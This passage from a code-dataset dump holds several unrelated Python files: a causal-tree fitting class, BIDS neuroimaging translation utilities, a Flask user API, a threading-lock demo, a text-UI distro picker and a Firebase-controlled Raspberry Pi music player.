1.0\n # self.num_treated = 1.0\n # self.num_samples = 1.0\n # self.treated_share = 1.0\n\n def fit(self, x, y, t):\n if x.shape[0] == 0:\n return 0\n\n # ----------------------------------------------------------------\n # Seed\n # ----------------------------------------------------------------\n np.random.seed(self.seed)\n\n # ----------------------------------------------------------------\n # Verbosity?\n # ----------------------------------------------------------------\n\n # ----------------------------------------------------------------\n # Split data\n # ----------------------------------------------------------------\n train_x, val_x, train_y, val_y, train_t, val_t = train_test_split(x, y, t, random_state=self.seed, shuffle=True,\n test_size=self.val_split)\n\n self.root.num_samples = y.shape[0]\n # ----------------------------------------------------------------\n # effect and pvals\n # ----------------------------------------------------------------\n _, trigger = tau_squared_trigger(y, t, self.min_size, self.quartile)\n # p_val = get_pval_trigger(y, t, trigger)\n # self.root.effect = effect\n # self.root.p_val = p_val\n # self.root.trigger = trigger\n effect = ace_trigger(val_y, val_t, trigger)\n p_val = get_pval_trigger(val_y, val_t, trigger)\n self.root.effect = effect\n self.root.p_val = p_val\n self.root.trigger = trigger\n\n # TODO: est ratio is overall?\n self.train_to_est_ratio = val_x.shape[0] / train_x.shape[0]\n current_var_treat, current_var_control = variance_trigger(train_y, train_t, trigger)\n num_treat, num_cont = get_treat_size(train_t, trigger)\n treated_share = num_treat / train_x.shape[0] if num_treat > 0 else 1.0\n control_share = 1 - treated_share if treated_share < 1 else 1.0\n current_var = (1 + self.train_to_est_ratio) * (\n (current_var_treat / treated_share) + (current_var_control / control_share))\n\n self.root.var = current_var\n # ----------------------------------------------------------------\n # Not sure if i should eval in root or not\n # ----------------------------------------------------------------\n node_eval, trigger, mse = self._eval(train_y, train_t, val_y, val_t)\n self.root.obj = node_eval - current_var\n\n # ----------------------------------------------------------------\n # Add control/treatment means\n # ----------------------------------------------------------------\n self.root.control_mean = np.mean(y[t >= trigger])\n self.root.treatment_mean = np.mean(y[t < trigger])\n\n self.root.num_samples = val_x.shape[0]\n\n self._fit(self.root, train_x, train_y, train_t, val_x, val_y, val_t)\n\n def _fit(self, node: TriggerValidationNode, train_x, train_y, train_t, val_x, val_y, val_t):\n\n # x = np.concatenate((train_x, val_x))\n # y = np.concatenate((train_y, val_y))\n # t = np.concatenate((train_t, val_t))\n\n if train_x.shape[0] == 0 or val_x.shape[0] == 0:\n return node\n\n if node.node_depth > self.tree_depth:\n self.tree_depth = node.node_depth\n\n if self.max_depth == self.tree_depth:\n if node.effect > self.max_effect:\n self.max_effect = node.effect\n if node.effect < self.min_effect:\n self.min_effect = node.effect\n self.num_leaves += 1\n node.leaf_num = self.num_leaves\n node.is_leaf = True\n return node\n\n best_gain = 0.0\n best_attributes = []\n best_tb_obj, best_fb_obj = (0.0, 0.0)\n best_tb_var, best_fb_var = (0.0, 0.0)\n best_tb_trigger, best_fb_trigger = (0.0, 0.0)\n\n column_count = train_x.shape[1]\n for col in range(0, column_count):\n unique_vals = np.unique(train_x[:, col])\n\n if self.max_values is not None:\n if self.max_values < 1:\n idx = np.round(np.linspace(0, len(unique_vals) - 1, self.max_values * len(unique_vals))).astype(int)\n unique_vals = unique_vals[idx]\n else:\n idx = np.round(np.linspace(\n 0, len(unique_vals) - 1, self.max_values)).astype(int)\n unique_vals = unique_vals[idx]\n\n for value in unique_vals:\n\n (val_x1, val_x2, val_y1, val_y2, val_t1, val_t2) \\\n = divide_set(val_x, val_y, val_t, col, value)\n\n (train_x1, train_x2, train_y1, train_y2, train_t1, train_t2) \\\n = divide_set(train_x, train_y, train_t, col, value)\n\n # TODO: val est?\n # (x1, x2, y1, y2, t1, t2) \\\n # = divide_set(x, y, t, col, value)\n\n # ----------------------------------------------------------------\n # Regular objective\n # ----------------------------------------------------------------\n tb_eval, tb_trigger, tb_mse = self._eval(train_y1, train_t1, val_y1, val_t1)\n fb_eval, fb_trigger, fb_mse = self._eval(train_y2, train_t2, val_y2, val_t2)\n\n # ----------------------------------------------------------------\n # Honest penalty\n # ----------------------------------------------------------------\n # TODO: val est?\n var_treat1, var_control1 = variance_trigger(train_y1, train_t1, trigger=tb_trigger)\n var_treat2, var_control2 = variance_trigger(train_y2, train_t2, trigger=fb_trigger)\n tb_nt, tb_nc = get_treat_size(val_t1, tb_trigger)\n fb_nt, fb_nc = get_treat_size(val_t2, fb_trigger)\n tb_treated_share = tb_nt / train_x.shape[0] if tb_nt > 0 else 1.0\n tb_control_share = 1 - tb_treated_share if tb_treated_share < 1 else 1.0\n fb_treated_share = fb_nt / train_x.shape[0] if fb_nt > 0 else 1.0\n fb_control_share = 1 - fb_treated_share if fb_treated_share < 1 else 1.0\n tb_var = (1 + self.train_to_est_ratio) * (\n (var_treat1 / tb_treated_share) + (var_control1 / tb_control_share))\n fb_var = (1 + self.train_to_est_ratio) * (\n (var_treat2 / fb_treated_share) + (var_control2 / fb_control_share))\n\n # combine honest and our objective\n split_eval = (tb_eval + fb_eval) - (tb_var + fb_var)\n # print(node.obj - node.var, split_eval)\n gain = -(node.obj - node.var) + split_eval\n\n if gain > best_gain:\n best_gain = gain\n best_attributes = [col, value]\n best_tb_obj, best_fb_obj = (tb_eval, fb_eval)\n best_tb_var, best_fb_var = (tb_var, fb_var)\n best_tb_trigger, best_fb_trigger = (tb_trigger, fb_trigger)\n\n if best_gain > 0:\n node.col = best_attributes[0]\n node.value = best_attributes[1]\n\n (train_x1, train_x2, train_y1, train_y2, train_t1, train_t2) \\\n = divide_set(train_x, train_y, train_t, node.col, node.value)\n\n (val_x1, val_x2, val_y1, val_y2, val_t1, val_t2) \\\n = divide_set(val_x, val_y, val_t, node.col, node.value)\n\n # (x1, x2, y1, y2, t1, t2) \\\n # = divide_set(x, y, t, node.col, node.value)\n\n # TODO: val est?\n # best_tb_effect = ace_trigger(y1, t1, best_tb_trigger)\n # best_fb_effect = ace_trigger(y2, t2, best_fb_trigger)\n # tb_p_val = get_pval_trigger(y1, t1, best_tb_trigger)\n # fb_p_val = get_pval_trigger(y2, t2, best_fb_trigger)\n best_tb_effect = ace_trigger(val_y1, val_t1, best_tb_trigger)\n best_fb_effect = ace_trigger(val_y2, val_t2, best_fb_trigger)\n tb_p_val = get_pval_trigger(val_y1, val_t1, best_tb_trigger)\n fb_p_val = get_pval_trigger(val_y2, val_t2, best_fb_trigger)\n\n self.obj = self.obj - (node.obj - node.var) + (best_tb_obj + best_fb_obj -\n best_tb_var - best_fb_var)\n # ----------------------------------------------------------------\n # Ignore \"mse\" here, come back to it later?\n # ----------------------------------------------------------------\n\n tb = TriggerValidationNode(obj=best_tb_obj, effect=best_tb_effect, p_val=tb_p_val,\n node_depth=node.node_depth + 1, var=best_tb_var,\n num_samples=val_y1.shape[0], trigger=best_tb_trigger)\n fb = TriggerValidationNode(obj=best_fb_obj, effect=best_fb_effect, p_val=fb_p_val,\n node_depth=node.node_depth + 1, var=best_fb_var,\n num_samples=val_y2.shape[0], trigger=best_fb_trigger)\n\n node.true_branch = self._fit(tb, train_x1, train_y1, train_t1, val_x1, val_y1, val_t1)\n node.false_branch = self._fit(fb, train_x2, train_y2, train_t2, val_x2, val_y2, val_t2)\n\n if node.effect > self.max_effect:\n self.max_effect = node.effect\n if node.effect < self.min_effect:\n self.min_effect = node.effect\n\n return node\n\n else:\n if node.effect > self.max_effect:\n self.max_effect = node.effect\n if node.effect < self.min_effect:\n self.min_effect = node.effect\n\n self.num_leaves += 1\n node.leaf_num = self.num_leaves\n node.is_leaf = True\n return node\n","sub_path":"build/lib.macosx-12.6-arm64-cpython-310/CTL/causal_tree/ctl_trigger/ctl_val_honest_trigger.py","file_name":"ctl_val_honest_trigger.py","file_ext":"py","file_size_in_byte":10591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"216940049","text":"\"\"\"\nUtility functions for handling protocol series tranlsation and purpose mapping\n\nMIT License\nCopyright (c) 2017-2022 Mike Tyszka\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\n\nfrom . import fmaps\nfrom . import dcm2niix as d2n\nfrom .io import (read_json,\n write_json,\n parse_bids_fname,\n parse_dcm2niix_fname,\n safe_copy,\n create_file_if_missing,\n strip_extensions)\n\n\ndef purpose_handling(bids_purpose,\n bids_intendedfor,\n seq_name,\n work_nii_fname,\n work_json_fname,\n bids_nii_fname,\n bids_json_fname,\n key_flags,\n overwrite,\n nii_ext):\n \"\"\"\n Special handling for each image purpose (func, anat, fmap, dwi, etc)\n\n :param bids_purpose: str\n BIDS purpose directory name (eg anat, func, fmap, etc)\n :param bids_intendedfor: str\n :param seq_name: str\n :param work_nii_fname: str\n work directory dcm2niix output Nifit filename\n :param work_json_fname: str\n work directory dcm2niix output JSON filename\n :param bids_nii_fname: str\n initial BIDS filename (can be modified by this function)\n :param bids_json_fname: str\n initial BIDS JSON sidecar filename (can be modified by this function)\n :param key_flags: dict\n dictionary of filename key flags\n :param overwrite: bool\n Overwrite flag for sub-* output\n :return:\n \"\"\"\n\n # Init DWI sidecars\n work_bval_fname = []\n work_bvec_fname = []\n bids_bval_fname = []\n bids_bvec_fname = []\n\n # Load the JSON sidecar\n bids_info = read_json(work_json_fname)\n\n if bids_purpose == 'func':\n\n if 'EP' in seq_name:\n\n print(' EPI detected')\n\n # Handle multiecho EPI (echo-*). Modify bids fnames as needed\n bids_nii_fname, bids_json_fname = d2n.handle_multiecho(\n work_json_fname, bids_json_fname, key_flags['Echo'], nii_ext)\n\n # Handle complex-valued EPI (part-*). Modify bids fnames as needed\n bids_nii_fname, bids_json_fname = d2n.handle_complex(\n work_json_fname, bids_json_fname, key_flags['Part'], nii_ext)\n\n # Handle task info\n create_events_template(bids_nii_fname, overwrite, nii_ext)\n\n # Add taskname to BIDS JSON sidecar\n bids_keys = parse_bids_fname(bids_nii_fname)\n if 'task' in bids_keys:\n bids_info['TaskName'] = bids_keys['task']\n else:\n bids_info['TaskName'] = 'unknown'\n\n elif bids_purpose == 'fmap':\n\n # Add IntendedFor field if requested through protocol translator\n if 'UNASSIGNED' not in bids_intendedfor:\n bids_info['IntendedFor'] = bids_intendedfor\n\n # Check for GRE vs SE-EPI fieldmap images\n # GRE will have a 'GR' sequence, SE-EPI will have 'EP'\n\n print(' Identifying fieldmap image type')\n\n if seq_name == 'GR':\n\n print(' Gradient echo fieldmap detected')\n print(' Identifying magnitude and phase images')\n\n # Update BIDS filenames according to BIDS Fieldmap Case (1 or 2 - see specification)\n bids_nii_fname, bids_json_fname = fmaps.handle_fmap_case(work_json_fname, bids_nii_fname, bids_json_fname)\n\n elif seq_name == 'EP':\n\n print(' EPI fieldmap detected')\n\n # Handle complex-valued EPI (part-*). Modify bids fnames as needed\n bids_nii_fname, bids_json_fname = d2n.handle_complex(\n work_json_fname, bids_json_fname, key_flags['Part'], nii_ext)\n\n else:\n\n print(' Unrecognized fieldmap detected')\n print(' Simply copying image and sidecar to fmap directory')\n\n elif bids_purpose == 'anat':\n\n if seq_name == 'GR_IR':\n\n print(' IR-prepared GRE detected - likely T1w MPRAGE or MEMPRAGE')\n\n # Handle multiecho EPI (echo-*). Modify bids fnames as needed\n bids_nii_fname, bids_json_fname = d2n.handle_multiecho(\n work_json_fname, bids_json_fname, key_flags['Echo'], nii_ext)\n\n # Handle complex-valued EPI (part-*). Modify bids fnames as needed\n bids_nii_fname, bids_json_fname = d2n.handle_complex(\n work_json_fname, bids_json_fname, key_flags['Part'], nii_ext)\n\n # Handle biased and unbiased (NORM) reconstructions\n bids_nii_fname, bids_json_fname = d2n.handle_bias_recon(\n work_json_fname, bids_json_fname, key_flags['Recon'], nii_ext)\n\n elif seq_name == 'SE':\n\n print(' Spin echo detected - likely T1w or T2w anatomic image')\n bids_nii_fname, bids_json_fname = d2n.handle_bias_recon(\n work_json_fname, bids_json_fname, key_flags['Recon'], nii_ext)\n\n elif seq_name == 'GR':\n\n print(' Gradient echo detected')\n\n elif bids_purpose == 'dwi':\n\n # Fill DWI bval and bvec working and source filenames\n # Non-empty filenames trigger the copy below\n work_bval_fname = str(work_json_fname.replace('.json', '.bval'))\n bids_bval_fname = str(bids_json_fname.replace('dwi.json', 'dwi.bval'))\n work_bvec_fname = str(work_json_fname.replace('.json', '.bvec'))\n bids_bvec_fname = str(bids_json_fname.replace('dwi.json', 'dwi.bvec'))\n\n # Populate BIDS source directory with Nifti images, JSON and DWI sidecars\n print(' Populating BIDS source directory')\n\n if bids_nii_fname:\n safe_copy(work_nii_fname, str(bids_nii_fname), overwrite)\n\n if bids_json_fname:\n write_json(bids_json_fname, bids_info, overwrite)\n\n if bids_bval_fname:\n safe_copy(work_bval_fname, bids_bval_fname, overwrite)\n\n if bids_bvec_fname:\n safe_copy(work_bvec_fname, bids_bvec_fname, overwrite)\n\n\ndef add_participant_record(studydir, subject, age, sex):\n \"\"\"\n Copied from heudiconv, this solution is good b/c it checks if the same subject ID already exists\n :param studydir:\n :param subject:\n :param age:\n :param sex:\n :return:\n \"\"\"\n\n participants_tsv = os.path.join(studydir, 'participants.tsv')\n participant_id = 'sub-%s' % subject\n\n if not create_file_if_missing(participants_tsv, '\\t'.join(['participant_id', 'age', 'sex', 'group']) + '\\n'):\n\n # Check if subject record already exists\n with open(participants_tsv) as f:\n f.readline()\n known_subjects = {this_line.split('\\t')[0] for this_line in f.readlines()}\n\n if participant_id in known_subjects:\n return\n\n # Add a new participant\n with open(participants_tsv, 'a') as f:\n f.write(\n '\\t'.join(map(str, [participant_id, age.lstrip('0').rstrip('Y') if age else 'N/A', sex, 'control'])) + '\\n')\n\n\ndef add_run_number(bids_suffix, run_no):\n \"\"\"\n Safely add run number to BIDS suffix\n Handle prior existence of run-* in BIDS filename template from protocol translator\n\n :param bids_suffix, str\n :param run_no, int\n :return: new_bids_suffix, str\n \"\"\"\n\n if \"run-\" in bids_suffix:\n\n # Preserve existing run-%d value in suffix\n print(' * BIDS suffix already contains run number - skipping')\n new_bids_suffix = bids_suffix\n\n else:\n\n if '_' in bids_suffix:\n\n # Add '_run-x' before final suffix\n bmain, bseq = bids_suffix.rsplit('_', 1)\n new_bids_suffix = f\"{bmain:s}_run-{run_no:d}_{bseq:s}\"\n\n else:\n\n # Isolated final suffix - just add 'run-%d_' as a prefix\n new_bids_suffix = f\"run-{run_no:d}_{bids_suffix:s}\"\n\n return new_bids_suffix\n\n\ndef add_bids_key(bids_json_fname, key_name, key_value, nii_ext):\n \"\"\"\n Add a new key to a BIDS filename\n If this key is already present, print warning and don't replace key\n \"\"\"\n\n # Extract key values from BIDS filename\n keys, dname = bids_filename_to_keys(bids_json_fname)\n\n if key_name in keys:\n\n print(f' * Key {key_name} already present in filename - skipping')\n new_bids_json_fname = bids_json_fname\n\n else:\n\n # Add new key to dictionary\n keys[key_name] = key_value\n\n # Init new filename with containing path\n new_bids_json_fname = bids_keys_to_filename(keys, dname)\n\n # Construct associated Nifti filename\n new_bids_nii_fname = new_bids_json_fname.replace('.json', nii_ext)\n\n return new_bids_nii_fname, new_bids_json_fname\n\n\ndef bids_filename_to_keys(bids_fname):\n \"\"\"\n Extract BIDS key values from filename\n Substitute short key names for long names used by parse_file_entities()\n \"\"\"\n\n # Parse BIDS filename with internal function that supports part- key\n keys, dname = parse_bids_fname(bids_fname)\n\n # Substitute short key names\n if 'subject' in keys:\n keys['sub'] = keys.pop('subject')\n if 'session' in keys:\n keys['ses'] = keys.pop('session')\n if 'acquisition' in keys:\n keys['acq'] = keys.pop('acquisition')\n\n return keys, dname\n\n\ndef bids_keys_to_filename(keys, dname):\n \"\"\"\n Construct BIDS filename from keys\n - key dictionary must include suffix and extension\n \"\"\"\n\n # Correct key order from BIDS spec\n key_order = ['sub', 'ses', 'task', 'acq', 'dir', 'rec', 'run', 'echo', 'part']\n\n # Init with the containing directory and trailing file separator if dname provided\n if dname:\n bids_fname = dname + os.path.sep\n else:\n bids_fname = ''\n\n # Construct BIDS filename from keys in correct order\n for key in key_order:\n if key in keys:\n bids_fname += f\"{key}-{keys[key]}_\"\n\n # Add final pulse sequence suffix and extension\n if 'suffix' in keys:\n bids_fname += keys['suffix']\n\n if 'extension' in keys:\n bids_fname += keys['extension']\n\n return bids_fname\n\n\ndef bids_legalize_keys(keys):\n \"\"\"\n Scrub illegal characters from BIDS keys\n \"\"\"\n\n bad_chars = ['-', '_']\n\n for key in keys:\n value = keys[key]\n for bc in bad_chars:\n value = value.replace(bc, '')\n keys[key] = value\n\n return keys\n\n\ndef auto_run_no(file_list, prot_dict):\n \"\"\"\n Search for duplicate series names in dcm2niix output file list\n Return inferred run numbers accounting for duplication and multiple recons from single acquisition\n\n NOTES:\n - Multiple recons generated by single acquisition (eg multiecho fieldmaps, localizers, etc) are\n handled through the dcm2niix extensions (_e1, e2_ph, _i00001, etc).\n - Series number resets following subject re-landmarking make the SerNo useful only for\n determining series uniqueness and not for ordering or run numbering.\n - If no duplicates of a given series are found, drop the run- key from the BIDS filename\n - Current dcm2niix version: 1.0.20211006\n\n :param file_list: list of str\n Nifti file name list\n :param prot_dict: dictionary\n Protocol translation dictionary\n :return: run_num, array of int\n \"\"\"\n\n # Construct list of series descriptions and original numbers from file names\n desc_list = []\n\n for fname in file_list:\n\n # Parse dcm2niix filename into relevant keys, including suffix\n info = parse_dcm2niix_fname(fname)\n\n ser_desc = info['SerDesc']\n\n if ser_desc in prot_dict:\n _, bids_suffix, _ = prot_dict[info['SerDesc']]\n else:\n print('')\n print('* Series description {} missing from code/Protocol_Translator.json'.format(ser_desc))\n print('* Please use EXCLUDE_BIDS_Directory and EXCLUDE_BIDS_Name instead of deleting a series entry')\n print('* Exiting')\n sys.exit(1)\n\n # Construct a unique series description using multirecon suffix\n ser_suffix = bids_suffix + '_' + info['Suffix']\n\n # Add to list\n desc_list.append(ser_suffix)\n\n # Find unique ser_desc entries using sets\n unique_descs = set(desc_list)\n\n # Init vector of run numbers for each series\n run_no = np.zeros(len(file_list)).astype(int)\n\n # Loop over unique series descriptions\n for unique_desc in unique_descs:\n\n # Reset run counter\n run_count = 1\n\n # Loop over all series descriptions\n for i, desc in enumerate(desc_list):\n\n if desc == unique_desc:\n run_no[i] = run_count\n run_count += 1\n\n return run_no\n\n\ndef replace_contrast(fname, new_contrast):\n \"\"\"\n Replace contrast suffix (if any) of BIDS filename\n :param fname: str, original BIDS Nifti or JSON filename\n :param new_contrast: str, replacement contrast suffix\n :return: new_fname: str, modified BIDS filename\n \"\"\"\n\n bids_keys = parse_bids_fname(fname)\n\n if 'suffix' in bids_keys:\n new_fname = fname.replace(bids_keys['suffix'], new_contrast)\n else:\n fstub, fext = strip_extensions(fname)\n new_fname = fstub + '_' + new_contrast + fext\n\n return new_fname\n\n\ndef create_events_template(bold_fname, overwrite, nii_ext):\n \"\"\"\n Create a template events file for a corresponding BOLD imaging file\n :param bold_fname: str\n BOLD imaging filename\n :param overwrite: bool\n Overwrite flag\n :param nii_ext: str\n Nifti image extension accounting for compression (*.nii or *.nii.gz)\n \"\"\"\n\n # Make specific to BOLD data to avoid overwriting with SBRef info\n if \"_bold\" + nii_ext in bold_fname:\n\n # Remove echo, part keys from filename. Only one events file required for each task/acq\n keys, dname = bids_filename_to_keys(bold_fname)\n if 'echo' in keys:\n del keys['echo']\n if 'part' in keys:\n del keys['part']\n bold_fname = bids_keys_to_filename(keys, dname)\n\n events_fname = bold_fname.replace(\"_bold\" + nii_ext, \"_events.tsv\")\n events_bname = os.path.basename(events_fname)\n\n if os.path.isfile(events_fname):\n if overwrite:\n print(' Overwriting previous %s' % events_bname)\n create_file = True\n else:\n print(' Preserving previous %s' % events_bname)\n create_file = False\n else:\n print(' Creating %s' % events_fname)\n create_file = True\n\n if create_file:\n fd = open(events_fname, 'w')\n fd.write('onset\\tduration\\ttrial_type\\tresponse_time\\n')\n fd.close()\n\n\ndef auto_translate(info, json_fname):\n \"\"\"\n Construct protocol translator from original series descriptions\n - assumes series descriptions are ReproIn-style\n \"\"\"\n\n ser_desc = info['SerDesc']\n\n # List of possible suffices for each BIDS type directory\n bids_types = {\n 'func': ['bold', 'sbref'],\n 'anat': ['T1w', 'T2w', 'PDw', 'T2starw', 'FLAIR',\n 'defacemask', 'MEGRE', 'MESE', 'VFA', 'IRT1',\n 'MP2RAGE', 'MPM', 'MTS', 'MTR'],\n 'fmap': ['epi'],\n 'dwi': ['dwi']\n }\n\n # Use BIDS filename parser on ReproIn-style series description\n # Returns any BIDS-like key values from series description string\n # The closer the series descriptions are to Repro-In specs, the\n # better this works.\n bids_keys, _ = parse_bids_fname(ser_desc)\n\n # Infer BIDS type directory\n bids_dir = 'anat'\n for bids_type in bids_types:\n if bids_keys['suffix'] in bids_types[bids_type]:\n bids_dir = bids_type\n\n # Scrub any illegal characters from BIDS key values (eg \"-_.\")\n bids_keys = bids_legalize_keys(bids_keys)\n\n # Reconstitute bids filename stub template from identified BIDS keys\n bids_stub = bids_keys_to_filename(bids_keys, '')\n\n # Always set IntendedFor to unassigned at this stage.\n # Filled automatically if requested during translation\n bids_intendedfor = 'UNASSIGNED'\n\n print('')\n print(f'Series Description : {ser_desc}')\n print(f'BIDS directory : {bids_dir}')\n print(f'BIDS stub : {bids_stub}')\n print(f'BIDS IntendedFor : {bids_intendedfor}')\n\n return [bids_dir, bids_stub, bids_intendedfor]","sub_path":"bidskit/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":17249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"47047003","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created by Wesley on 2019/12/30.\n\"\"\"\nfrom flask import jsonify, g, current_app\nfrom app.libs.error_code import DeleteSuccess, Success\nfrom app.libs.jsonify_helper import process_rsp_pagination\nfrom app.libs.redprint import Redprint\nfrom app.libs.token_auth import auth\nfrom app.libs.util import dict_rm_none\nfrom app.models.base import db\nfrom app.models.rescue import Rescue\nfrom app.models.seek_help import SeekHelp\nfrom app.models.user import User\nfrom app.validators.auth import UserUpdateForm\nfrom app.validators.forms import PageForm\n\napi = Redprint('user')\n\n\n@api.route('/', methods=['GET'])\n@auth.login_required\ndef super_get_user(uid):\n user = User.query.filter_by(id=uid) \\\n .first_or_404(description='user not found')\n return jsonify(user)\n\n\n@api.route('', methods=['GET'])\n@auth.login_required\ndef get_user():\n uid = g.user.uid\n user = User.query.filter_by(id=uid)\\\n .first_or_404(description='user not found')\n return jsonify(user)\n\n\n@api.route('/profile', methods=['PUT'])\n@auth.login_required\ndef update_user():\n \"\"\"更新用户信息\"\"\"\n form = UserUpdateForm().validate_for_api()\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n with db.auto_commit():\n user.set_attrs(dict_rm_none(form.data))\n return Success()\n\n\n@api.route('', methods=['DELETE'])\n@auth.login_required\ndef delete_user():\n uid = g.user.uid\n with db.auto_commit():\n user = User.query.filter_by(id=uid).first_or_404()\n user.delete()\n return DeleteSuccess()\n\n\n@api.route('/seek-help')\n@auth.login_required\ndef get_seek_help_list():\n \"\"\"获取我的求喂养列表,分页返回\"\"\"\n form = PageForm().validate_for_api()\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n per_page = current_app.config['SEEK_HELP_PER_PAGE']\n pagination = SeekHelp.query.filter_by().with_parent(user).order_by(\n SeekHelp.create_time.desc()).paginate(page=int(form.page.data), per_page=per_page)\n return Success(data=process_rsp_pagination(pagination))\n\n\n@api.route('/seek-help/')\n@auth.login_required\ndef get_seek_help(sid):\n \"\"\"获取用户发布的 id=sid 求喂养数据\"\"\"\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n obj_seek_help = SeekHelp.query.filter_by(id=sid,author_id=user.id).first_or_404()\n return Success(data=obj_seek_help)\n\n\n@api.route('/seek-help//cancel-or-not', methods=['PUT'])\n@auth.login_required\ndef cancel_or_not_seek_help(sid):\n \"\"\"取消/恢复 id=sid 的求喂养信息展示\"\"\"\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n user.cancel_or_not_sh(sid)\n return Success()\n\n\n@api.route('/rescue')\n@auth.login_required\ndef get_rescue_list():\n \"\"\"获取我的我能帮列表,分页返回\"\"\"\n form = PageForm().validate_for_api()\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n per_page = current_app.config['RESCUE_PER_PAGE']\n pagination = Rescue.query.filter_by().with_parent(user).order_by(\n Rescue.create_time.desc()).paginate(page=int(form.page.data), per_page=per_page)\n return Success(data=process_rsp_pagination(pagination))\n\n\n@api.route('/rescue/')\n@auth.login_required\ndef get_rescue(rid):\n \"\"\"获取用户发布的 id=sid 我能帮数据\"\"\"\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n obj_rescue = Rescue.query.filter_by(id=rid,author_id=user.id).first_or_404()\n return Success(data=obj_rescue)\n\n\n@api.route('/rescue//cancel-or-not', methods=['PUT'])\n@auth.login_required\ndef cancel_or_not_rescue(rid):\n \"\"\"取消/恢复 id=sid 的求喂养信息展示\"\"\"\n user = User.query.filter_by(id=g.user.uid).first_or_404()\n user.cancel_or_not_rescue(rid)\n return Success()","sub_path":"app/api/v1/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"414195618","text":"# A commom cause of deadlock is acquiring a thread and not \n# releasing it. For example...\nfrom threading import Lock\n\nlock = Lock()\n\ndef do_other_stuff():\n\traise Exception('Exception you forgot about! WHEEE!')\n\ndef do_something():\n\tlock.acquire()\n\ttry:\n\t\tdo_other_stuff()\n\tfinally:\n\t\tlock.release()\n\ntry:\n\tdo_something()\nexcept Exception as e:\n\tprint(e)\n\nprint(\"later in the code...\")\n\ntry:\n\tdo_something()\nexcept Exception as e:\n\tprint(e)\n\nprint(\"do more stuff...\")\n","sub_path":"context_managers/threading_with_finaly.py","file_name":"threading_with_finaly.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"475115162","text":"#!/usr/bin/python\n#\n#\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, version 2 of the License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\nimport snack\n\nscreen = snack.SnackScreen()\n\nlbox = snack.Listbox(height = 50, width = 90, returnExit = 1)\nlbox.append(\"Fedora\", 1)\nlbox.append(\"Debian\", 2)\nlbox.append(\"Ubuntu\", 3)\nlbox.append(\"Arch Linux\", 4)\nlbox.append(\"ElementaryOS\", 5)\n\ngrid = snack.GridForm(screen, \"Select your favorite ditro\", 1, 1)\ngrid.add(lbox, 0, 0)\n\nresult = grid.runOnce()\n\nscreen.finish()\n\n#print \"listbox:\", lbox.current()\nif lbox.current() == 1:\n\tprint (\"Selected Fedora!\")\nelif lbox.current() == 2:\n\tprint (\"Selected Debian!\")\nelif lbox.current() == 3:\n\tprint (\"Selected Ubuntu!\")\nelif lbox.current() == 4:\n\tprint (\"Selected Arch Linux!\")\nelif lbox.current() == 5:\n\tprint (\"Selected ElementaryOS!\")\n","sub_path":"school/python/list_distro.py","file_name":"list_distro.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"619796778","text":"\r\n\r\nwith open(\"taktakin.txt\", \"r\") as f:\r\n data = f.readlines()\r\n initFruit = int(data[0])\r\n\r\nout = open(\"taktakout.txt\",\"w\")\r\n\r\nmoon = 0\r\n\r\ndef divise(Fruit,moons):\r\n\twhile True:\r\n\t\tif (Fruit-1)%11 == 0:\r\n\t\t\tout.write(str(moons)+\" \" +str(Fruit))\r\n\t\t\tout.close()\r\n\t\t\tbreak\r\n\t\tmoons += 1\r\n\t\tFruit *= 2\r\n\r\ndivise(initFruit,moon)","sub_path":"taktak.py","file_name":"taktak.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"252273289","text":"from firebase import firebase\r\nfirebase = firebase.FirebaseApplication('https://fouronesixsound-51999.firebaseio.com/', None)\r\n\r\nimport urllib.request\r\nimport pygame\r\nimport urllib.request\r\nimport decimal\r\nwhile 1==1:\r\n Play = firebase.get('/Play', None) \r\n url = firebase.get('/URL',None)\r\n volume = firebase.get('/Volume', None)\r\n if Play==1:\r\n urllib.request.urlretrieve(url,'/home/pi/Desktop/mysong.mp3')\r\n pygame.mixer.init()\r\n pygame.mixer.music.load(\"mysong.mp3\")\r\n \r\n vol = decimal.Decimal(volume)\r\n Volume = vol * decimal.Decimal('.01')\r\n \r\n pygame.mixer.music.set_volume(Volume)\r\n 